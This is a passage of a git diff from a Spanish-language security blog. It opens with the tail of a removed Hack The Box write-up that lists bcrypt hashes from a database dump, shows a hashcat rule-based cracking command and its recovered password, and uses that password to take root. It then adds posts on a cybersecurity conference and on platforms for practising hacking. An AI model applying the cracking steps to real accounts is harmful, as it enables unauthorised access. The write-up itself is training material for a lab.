9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm | -+----------------------------------+--------------------------------------------------------------+ -8 rows in set (0.002 sec) -``` - -## Cracking with rules - -There was a hint earlier that some variation of `PleaseSubscribe!` is used. - -I'll use hashcat for this and since I don't know the hash ID for bcrypt by heart I can find it in the help. - -``` -C:\bin\hashcat>hashcat --help | findstr bcrypt - 3200 | bcrypt $2*$, Blowfish (Unix) | Operating System -``` - -My go-to rules is normally one of those two ruleset: - -- [https://github.com/NSAKEY/nsa-rules/blob/master/_NSAKEY.v2.dive.rule](https://github.com/NSAKEY/nsa-rules/blob/master/_NSAKEY.v2.dive.rule) -- [https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule](https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule) - -These will perform all sort of transformations on the wordlist and we can quickly crack the password: `PleaseSubscribe!21` - -``` -C:\bin\hashcat>hashcat -a 0 -m 3200 -w 3 -O -r rules\_NSAKEY.v2.dive.rule hash.txt wordlist.txt -[...] -$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21 - -Session..........: hashcat -Status...........: Cracked -Hash.Name........: bcrypt $2*$, Blowfish (Unix) -[...] -``` - -The root password from MatterMost is the same as the local root password so we can just su to root and get the system flag. - -![](/assets/images/htb-writeup-delivery/root.png) \ No newline at end of file diff --git a/_posts/2021-11-30-dia-seguridad-informatica.md b/_posts/2021-11-30-dia-seguridad-informatica.md new file mode 100644 index 0000000000..0489909c3e --- /dev/null +++ b/_posts/2021-11-30-dia-seguridad-informatica.md @@ -0,0 +1,34 @@ +--- +layout: single +title: Día de la seguridad informática +excerpt: "Esta semana está llena de grandes noticias. El 30 noviembre celebraba el día de la seguridad informática acudiendo a las #XVJornadasCCNCERT" +date: 2021-11-30 +classes: wide +header: + teaser: /assets/images/dia-seguridad-informatica/XVJornadasCCNCERT.jpeg + teaser_home_page: true + icon: +categories: + - ciberseguridad + - eventos +tags: + - evento + - XVJornadasCCNCERT +--- + +![](/assets/images/dia-seguridad-informatica/XVJornadasCCNCERT.jpeg) + +Esta semana está llena de grandes noticias. El 30 noviembre celebraba el día de la seguridad informática acudiendo a las #XVJornadasCCNCERT 👩🏽‍💻 +El evento de ciberseguridad más importante de España. + +Un día lleno de aprendizaje y reflexión a futuro. Una de las conferencias más interesantes ha sido "Capitolios y espirales" de Telefónica. Cómo los datos se han convertido en un nuevo valor que se podría reflejar en el PIB de cada país y cada persona podría obtener dinero a cambio de ellos. 🤔 Actualmente vivimos en la economía de la atención y nuestra privacidad también cuenta. + +Ya veremos qué sucede en unos años. + +![](/assets/images/dia-seguridad-informatica/conferencia-capitollio-1.jpeg) +![](/assets/images/dia-seguridad-informatica/conferencia-capitollio-2.jpeg) +![](/assets/images/dia-seguridad-informatica/conferencia-capitollio-3.jpeg) + + +Lecturas recomendadas: +![](/assets/images/dia-seguridad-informatica/conferencia-capitollio-4.jpeg) diff --git a/_posts/2023-02-03-empezar-hacking.md b/_posts/2023-02-03-empezar-hacking.md new file mode 100644 index 0000000000..f17cd85eb3 --- /dev/null +++ b/_posts/2023-02-03-empezar-hacking.md @@ -0,0 +1,39 @@ +--- +layout: single +title: Primeros pasos en hacking +excerpt: "Empezar a trastear con las siguientes plataformas es un buen inicio hacking" +date: 2023-02-03 +classes: wide +header: + teaser: /assets/images/empezar-hacking/studyhard.jpg + teaser_home_page: true + icon: /assets/images/idea.png +categories: + - hacking + - learning +tags: + - tryHackMe + - CTFs + - starterPack + +--- + +![](/assets/images/empezar-hacking/studyhard.jpg) + +### Para ir empezando: + +[Try Hack Me](https://tryhackme.com) + * Recomendable hacer las rooms de Linux e introducción a redes. + +[Academia Hacker de INCIBE](https://www.incibe.es/academiahacker) + * Incluye talleres y retos. + +### Para poner a prueba: + +[VulnHub](https://www.vulnhub.com) + +[Hack The Box](https://www.hackthebox.com) + +### CTFs: + +[PicoCTF](https://picoctf.org) diff --git a/_posts/2023-02-06-htb-writeup-ready.md b/_posts/2023-02-06-htb-writeup-ready.md new file mode 100644 index 0000000000..870fff0685 --- /dev/null +++ b/_posts/2023-02-06-htb-writeup-ready.md @@ -0,0 +1,15 @@ +--- +layout: single +title: Cooming soon +excerpt: "..." +date: 2023-02-06 +classes: wide +header: + teaser: + teaser_home_page: true + icon: +categories: + +tags: + +--- diff --git a/assets/images/avatar.png b/assets/images/avatar.png index 224cfed68f..7d9422510e 100644 Binary files a/assets/images/avatar.png and b/assets/images/avatar.png differ diff --git a/assets/images/dia-seguridad-informatica/XVJornadasCCNCERT.jpeg b/assets/images/dia-seguridad-informatica/XVJornadasCCNCERT.jpeg new file mode 100644 index 0000000000..d4fcf1d7bf Binary files /dev/null and b/assets/images/dia-seguridad-informatica/XVJornadasCCNCERT.jpeg differ diff --git a/assets/images/dia-seguridad-informatica/conferencia-capitollio-1.jpeg b/assets/images/dia-seguridad-informatica/conferencia-capitollio-1.jpeg new file mode 100644 index 0000000000..0b74526973 Binary files /dev/null and b/assets/images/dia-seguridad-informatica/conferencia-capitollio-1.jpeg differ diff --git a/assets/images/dia-seguridad-informatica/conferencia-capitollio-2.jpeg b/assets/images/dia-seguridad-informatica/conferencia-capitollio-2.jpeg new file mode 100644 index 0000000000..98588c111c Binary files /dev/null and b/assets/images/dia-seguridad-informatica/conferencia-capitollio-2.jpeg differ diff --git a/assets/images/dia-seguridad-informatica/conferencia-capitollio-3.jpeg b/assets/images/dia-seguridad-informatica/conferencia-capitollio-3.jpeg new file mode 100644 index 0000000000..2eed913a97 Binary files /dev/null and b/assets/images/dia-seguridad-informatica/conferencia-capitollio-3.jpeg differ diff --git a/assets/images/dia-seguridad-informatica/conferencia-capitollio-4.jpeg b/assets/images/dia-seguridad-informatica/conferencia-capitollio-4.jpeg new file mode 100644 index 0000000000..c0135a19ee Binary files /dev/null and b/assets/images/dia-seguridad-informatica/conferencia-capitollio-4.jpeg differ diff --git a/assets/images/dia-seguridad-informatica/fotos.md b/assets/images/dia-seguridad-informatica/fotos.md new file mode 100644 index 0000000000..8b13789179 --- /dev/null +++ b/assets/images/dia-seguridad-informatica/fotos.md @@ -0,0 +1 @@ + diff --git a/assets/images/empezar-hacking/studyhard.jpg b/assets/images/empezar-hacking/studyhard.jpg new file mode 100644 index 0000000000..d65a1fda8f Binary files /dev/null and b/assets/images/empezar-hacking/studyhard.jpg differ diff --git a/assets/images/masthead.png b/assets/images/masthead.png index 04d46e275d..cbe9dc9091 100644 Binary files a/assets/images/masthead.png and b/assets/images/masthead.png differ